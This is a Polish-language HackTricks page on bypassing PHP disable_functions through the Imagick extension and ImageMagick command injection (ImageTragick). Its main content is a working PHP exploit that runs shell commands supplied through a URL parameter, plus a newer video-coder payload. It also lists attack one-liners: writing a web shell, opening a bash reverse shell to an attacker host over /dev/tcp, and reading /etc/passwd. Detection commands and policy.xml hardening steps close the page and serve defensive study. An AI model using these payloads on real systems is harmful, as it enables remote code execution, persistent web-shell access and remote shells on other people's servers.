Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Znana rodzina błędów ImageTragick (CVE-2016-3714 i inne) pozwala atakującemu na dostęp do podstawowego binarnego pliku ImageMagick poprzez spreparowane dane wejściowe MVG/SVG. Gdy rozszerzenie PHP Imagick jest obecne, można to wykorzystać do wykonywania poleceń powłoki, nawet jeśli każda funkcja PHP związana z wykonaniem jest zablokowana za pomocą
disable_functions
.Oryginalny PoC opublikowany przez RicterZ (Chaitin Security Research Lab) w maju 2016 roku jest reprodukowany poniżej. Technika ta jest nadal regularnie spotykana podczas współczesnych audytów PHP 7/8, ponieważ wielu dostawców hostingu współdzielonego po prostu kompiluje PHP bez
exec
/system
, ale utrzymuje przestarzałą kombinację Imagick + ImageMagick.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($tmp);
?>
Dlaczego to działa?
Imagick::readImage()
transparentnie uruchamia binarny plik ImageMagick delegate (convert
/magick
).- Skrypt MVG ustawia fill na zewnętrzny URI. Gdy wstrzyknięty zostaje podwójny cudzysłów (
"
), reszta linii jest interpretowana przez/bin/sh ‑c
, którego ImageMagick używa wewnętrznie → dowolne wykonanie powłoki. - Wszystko dzieje się poza interpretem PHP, dlatego
disable_functions
, open_basedir,safe_mode
(usunięty w PHP 5.4) i podobne ograniczenia w procesie są całkowicie omijane.
Status 2025 – wciąż istotny
- Każda wersja Imagick, która polega na podatnym backendzie ImageMagick, pozostaje podatna na ataki. W testach laboratoryjnych ten sam ładunek działa na PHP 8.3 z Imagick 3.7.0 i ImageMagick 7.1.0-51 skompilowanym bez zaostrzonego
policy.xml
. - Od 2020 roku znaleziono kilka dodatkowych wektorów wstrzyknięcia poleceń (
video:pixel-format
,ps:
,text:
codery…). Dwa niedawne publiczne przykłady to: - CVE-2020-29599 – wstrzyknięcie powłoki przez text: coder.
- GitHub issue #6338 (2023) – wstrzyknięcie w video: delegate.
Jeśli system operacyjny dostarcza ImageMagick < 7.1.1-11 (lub 6.x < 6.9.12-73) bez restrykcyjnego pliku polityki, eksploatacja jest prosta.
Nowoczesne warianty ładunków
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
Inne przydatne prymitywy podczas CTF / rzeczywistych zaangażowań:
- Zapis pliku –
... > /var/www/html/shell.php
(zapisz web-shell poza open_basedir) - Odwrócony shell –
bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
- Enumeracja –
id; uname -a; cat /etc/passwd
Szybka detekcja i enumeracja
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
Jeśli wynik pokazuje, że kodery MVG
lub URL
są włączone, cel prawdopodobnie jest podatny na atak.
Mitigacje
- Patch/Upgrade – Użyj ImageMagick ≥ 7.1.1-11 (lub najnowszej wersji 6.x LTS) oraz Imagick ≥ 3.7.2.
- Wzmocnij
policy.xml
– wyraźnie wyłącz kodery wysokiego ryzyka:
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
- Usuń rozszerzenie w nieufnych środowiskach hostingowych. W większości stosów webowych
GD
lubImagick
nie jest ściśle wymagane. - Traktuj
disable_functions
tylko jako defensywę w głębokości – nigdy jako główny mechanizm piaskownicy.
Referencje
- GitHub ImageMagick issue #6338 – Wstrzyknięcie polecenia przez video:pixel-format (2023)
- CVE-2020-29599 – Wstrzyknięcie powłoki ImageMagick przez text: coder
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.